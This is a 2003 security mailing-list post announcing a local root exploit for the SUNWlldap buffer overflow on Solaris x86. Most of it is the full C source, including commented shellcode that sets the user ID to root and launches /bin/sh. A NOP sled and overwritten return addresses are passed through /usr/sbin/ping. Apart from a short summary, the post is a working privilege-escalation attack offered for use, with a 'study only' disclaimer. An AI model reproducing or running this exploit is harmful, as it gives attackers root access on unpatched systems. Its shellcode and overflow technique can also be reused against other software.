[EXPL] Exploit Released for SUNWlldap Library Buffer Overflow

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From: support@securiteam.com
To: list@securiteam.com
Date: 16 Mar 2003 21:57:17 +0200

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  Exploit Released for SUNWlldap Library Buffer Overflow
------------------------------------------------------------------------

SUMMARY

The following is a local exploit for the SUNWlldap library buffer overflow
vulnerability on Sun Solaris x86.

DETAILS

/***********************************************************
 * hoagie_solarisldap.c
 *
 * gcc hoagie_solarisldap.c -o hoagie_solarisldap
 *
 * Author: Andi <andi@void.at>
 *
 * Greetz to Greuff, philipp and the other hoagie-fellas :-)
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 *
 * Offsets: 9208 ... without patch 108994-11
 *
 ************************************************************/

#include <stdio.h>

#define NOP 0x90
#define ORIGSIZE 258

char shellcode[]=
/* main: */
"\xeb\x0a" /* jmp initcall */

/* initlcall: */
"\x9a\x01\x02\x03\x5c\x07\x04" /* lcall */
"\xc3" /* ret */

/* jmpz: */
"\xeb\x05" /* jmp setuidcode */

/* initcall: */
"\xe8\xf9\xff\xff\xff" /* call jmpz */

/* setuidcode: */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\xf7" /* movb %al, 0xfffffff7(%esi) */
"\x89\x46\xf2" /* movl %eax, 0xfffffff2(%esi) */

  /* seteuid(0); */
"\x50" /* pushl %eax */
"\xb0\x8d" /* movb $0x8d, %al */
"\xe8\xe0\xff\xff\xff" /* call initlcall */
  /* setuid(0); */
"\x29\xc0" /* subl %eax, %eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17, %al */
"\xe8\xd6\xff\xff\xff" /* call initlcall */

"\xeb\x1f" /* jmp callz */

/* start: */
/* execve /bin/sh */
"\x5e" /* popl %esi */
"\x8d\x1e" /* leal (%esi), %ebx */
"\x89\x5e\x0b" /* movl %ebx, 0x0b(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x19" /* movb %al, 0x19(%esi) */
"\x89\x46\x14" /* movl %eax, 0x14(%esi) */
"\x89\x46\x0f" /* movl %eax, 0x0f(%esi) */
"\x89\x46\x07" /* movl %eax, 0x07(%esi) */
"\xb0\x3b" /* movb $0x3b, %al */
"\x8d\x4e\x0b" /* leal 0x0b(%esi), %ecx */
"\x51" /* pushl %ecx */
"\x51" /* pushl %ecx */
"\x53" /* pushl %ebx */
"\x50" /* pushl %eax */
"\xeb\x18" /* jmp lcall */

/* callz: */
"\xe8\xdc\xff\xff\xff" /* call start */

"\x2f\x62\x69\x6e\x2f\x73\x68" /* /bin/sh */
"\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03"

/* lcall: */
"\x9a\x04\x04\x04\x04\x07\x04"; /* lcall */

unsigned long getsp(void)
{
  __asm__(" movl %esp,%eax ");
}

int main(int argc, char **argv) {
    char buf[512];
    int offset = 9208;
    int retaddr = 0;
    int i;

    if (argc > 1) {
       sscanf(argv[1], "%d", &offset);
    }

    printf("hoagie_solarisldap local root exploit\n");
    printf("[*] offset: 0x%x\n", offset);

    memset(buf, NOP, sizeof(buf));
    buf[28] = 0xeb;
    buf[29] = 30;
    for (i = 0; i < strlen(shellcode); i++) {
        buf[i + 60] = shellcode[i];
    }

    retaddr = getsp() - offset;
    printf("[*] return address: 0x%x\n", retaddr);

    for (i = 0; i < 4 * 25; i += 4){
        buf[i + ORIGSIZE + 2] = retaddr & 0xff;
        buf[i + ORIGSIZE + 3] = (retaddr >> 8 ) &0xff;
        buf[i + ORIGSIZE + 0] = (retaddr >> 16 ) &0xff;
        buf[i + ORIGSIZE + 1] = (retaddr >> 24 ) &0xff;
    }

    execl("/usr/sbin/ping", "ping", buf, NULL);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:andi[at]void.at> Andi.

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